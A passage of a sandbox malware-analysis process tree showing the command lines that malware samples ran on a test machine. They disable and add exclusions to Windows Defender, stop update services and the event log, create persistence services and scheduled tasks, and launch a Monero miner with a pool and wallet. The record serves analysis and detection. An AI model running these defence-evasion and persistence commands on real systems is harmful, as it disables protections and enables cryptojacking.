                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                  11⤵
                                                                                                    PID:208
                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                      12⤵
                                                                                                        PID:4116
                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                    10⤵
                                                                                                      PID:5324
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                        11⤵
                                                                                                          PID:5532
                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                            12⤵
                                                                                                              PID:5848
                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                          10⤵
                                                                                                            PID:6048
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                              11⤵
                                                                                                                PID:5956
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                  12⤵
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  PID:5872
                                                                                                                  • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                    13⤵
                                                                                                                      PID:5944
                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                                              9⤵
                                                                                                                PID:5576
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                  10⤵
                                                                                                                    PID:2268
                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                      11⤵
                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                      PID:6008
                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                        12⤵
                                                                                                                          PID:1960
                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                    schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 16:24:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS464B.tmp\Install.exe\" it /AQmdidlyZt 385118 /S" /V1 /F
                                                                                                                    9⤵
                                                                                                                    • Creates scheduled task(s)
                                                                                                                    PID:976
                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                                                                                    9⤵
                                                                                                                      PID:5268
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                                        10⤵
                                                                                                                          PID:5748
                                                                                                                          • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                                            11⤵
                                                                                                                              PID:5260
                                                                                                                    • C:\Users\Admin\Pictures\YbnwKhYi3isgO1zJEaWgt708.exe
                                                                                                                      "C:\Users\Admin\Pictures\YbnwKhYi3isgO1zJEaWgt708.exe"
                                                                                                                      7⤵
                                                                                                                        PID:6044
                                                                                                                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                          8⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          PID:4524
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                          8⤵
                                                                                                                            PID:736
                                                                                                                            • C:\Windows\system32\wusa.exe
                                                                                                                              wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                              9⤵
                                                                                                                                PID:5668
                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                              C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                              8⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              PID:5576
                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                              C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                              8⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              PID:1936
                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                              C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                              8⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              PID:3188
                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                              C:\Windows\system32\sc.exe stop bits
                                                                                                                              8⤵
                                                                                                                              • Launches sc.exe
                                                                                                                              PID:3580
                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                9⤵
                                                                                                                                  PID:1128
                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                8⤵
                                                                                                                                • Launches sc.exe
                                                                                                                                PID:4324
                                                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                8⤵
                                                                                                                                  PID:5136
                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                  8⤵
                                                                                                                                    PID:872
                                                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                    8⤵
                                                                                                                                      PID:5048
                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                      8⤵
                                                                                                                                        PID:6056
                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
                                                                                                                                        8⤵
                                                                                                                                        • Launches sc.exe
                                                                                                                                        PID:2044
                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
                                                                                                                                        8⤵
                                                                                                                                        • Launches sc.exe
                                                                                                                                        PID:5940
                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                        C:\Windows\system32\sc.exe stop eventlog
                                                                                                                                        8⤵
                                                                                                                                        • Launches sc.exe
                                                                                                                                        PID:3868
                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
                                                                                                                                        8⤵
                                                                                                                                        • Launches sc.exe
                                                                                                                                        PID:5348
                                                                                                                                    • C:\Users\Admin\Pictures\HwablkVVF76IY67Gbt9WiEvU.exe
                                                                                                                                      "C:\Users\Admin\Pictures\HwablkVVF76IY67Gbt9WiEvU.exe"
                                                                                                                                      7⤵
                                                                                                                                        PID:3040
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS6656.tmp\Install.exe
                                                                                                                                          .\Install.exe /tEdidDDf "385118" /S
                                                                                                                                          8⤵
                                                                                                                                            PID:3556
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                              9⤵
                                                                                                                                                PID:2288
                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                  10⤵
                                                                                                                                                    PID:1504
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                      11⤵
                                                                                                                                                        PID:4076
                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                          12⤵
                                                                                                                                                            PID:2488
                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                        10⤵
                                                                                                                                                          PID:6048
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                            11⤵
                                                                                                                                                              PID:5864
                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                12⤵
                                                                                                                                                                  PID:872
                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                              10⤵
                                                                                                                                                                PID:212
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                  11⤵
                                                                                                                                                                    PID:6104
                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                      12⤵
                                                                                                                                                                        PID:2560
                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                    10⤵
                                                                                                                                                                      PID:5580
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                        11⤵
                                                                                                                                                                          PID:3016
                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                            12⤵
                                                                                                                                                                              PID:864
                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                          10⤵
                                                                                                                                                                            PID:1044
                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                                                                                                          9⤵
                                                                                                                                                                            PID:3036
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                                                              10⤵
                                                                                                                                                                                PID:2488
                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                                                                  11⤵
                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                  PID:1504
                                                                                                                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                    "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                                                                    12⤵
                                                                                                                                                                                      PID:5696
                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 16:24:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS6656.tmp\Install.exe\" it /uYUdidyHRB 385118 /S" /V1 /F
                                                                                                                                                                                9⤵
                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                PID:5180
                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                                                                                                                                                9⤵
                                                                                                                                                                                  PID:2288
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                                                                                                    10⤵
                                                                                                                                                                                      PID:5608
                                                                                                                                                                                      • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                                                                                                        11⤵
                                                                                                                                                                                          PID:5364
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000052001\ReurgingGleek.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\1000052001\ReurgingGleek.exe"
                                                                                                                                                                              5⤵
                                                                                                                                                                              • Checks computer location settings
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                              PID:3040
                                                                                                                                                                              • C:\ProgramData\system.exe
                                                                                                                                                                                "C:\ProgramData\system.exe"
                                                                                                                                                                                6⤵
                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                PID:5252
                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\system.exe'
                                                                                                                                                                                  7⤵
                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                  PID:2380
                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
                                                                                                                                                                                  7⤵
                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                  PID:5032
                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'
                                                                                                                                                                                  7⤵
                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                  PID:1128
                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
                                                                                                                                                                                  7⤵
                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                  PID:5284
                                                                                                                                                                                • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
                                                                                                                                                                                  7⤵
                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                  PID:3388
                                                                                                                                                                              • C:\ProgramData\build.exe
                                                                                                                                                                                "C:\ProgramData\build.exe"
                                                                                                                                                                                6⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                PID:5372
                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3040 -s 1312
                                                                                                                                                                                6⤵
                                                                                                                                                                                • Program crash
                                                                                                                                                                                PID:5740
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000060001\csrss.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\1000060001\csrss.exe"
                                                                                                                                                                              5⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                              PID:5876
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c start "" "C:\ProgramData\GDBAKEGIDB.exe"
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:4652
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1000014001\12ecddf0d1.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\1000014001\12ecddf0d1.exe"
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                                            PID:532
                                                                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                        "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                        1⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:2768
                                                                                                                                                                        • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
                                                                                                                                                                          "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                                                                                                                                                          2⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          PID:1280
                                                                                                                                                                          • C:\Windows\Temp\658534.exe
                                                                                                                                                                            "C:\Windows\Temp\658534.exe" --list-devices
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                            PID:1948
                                                                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                        "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                        1⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:3444
                                                                                                                                                                        • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
                                                                                                                                                                          "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                                                                                                                                                          2⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          PID:4088
                                                                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                        "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                        1⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:1712
                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:5064
                                                                                                                                                                          • C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
                                                                                                                                                                            "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            PID:4816
                                                                                                                                                                            • C:\Windows\Temp\158319.exe
                                                                                                                                                                              "C:\Windows\Temp\158319.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                                              PID:4764
                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3040 -ip 3040
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:5488
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                                            PID:5288
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            • Identifies Wine through registry keys
                                                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                            PID:5280
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            PID:5504
                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5516 -ip 5516
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:2648
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS464B.tmp\Install.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS464B.tmp\Install.exe it /AQmdidlyZt 385118 /S
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:5656
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:5696
                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:6064
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:3248
                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                              5⤵
                                                                                                                                                                                                PID:5476
                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                            forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:5792
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:1400
                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                    5⤵
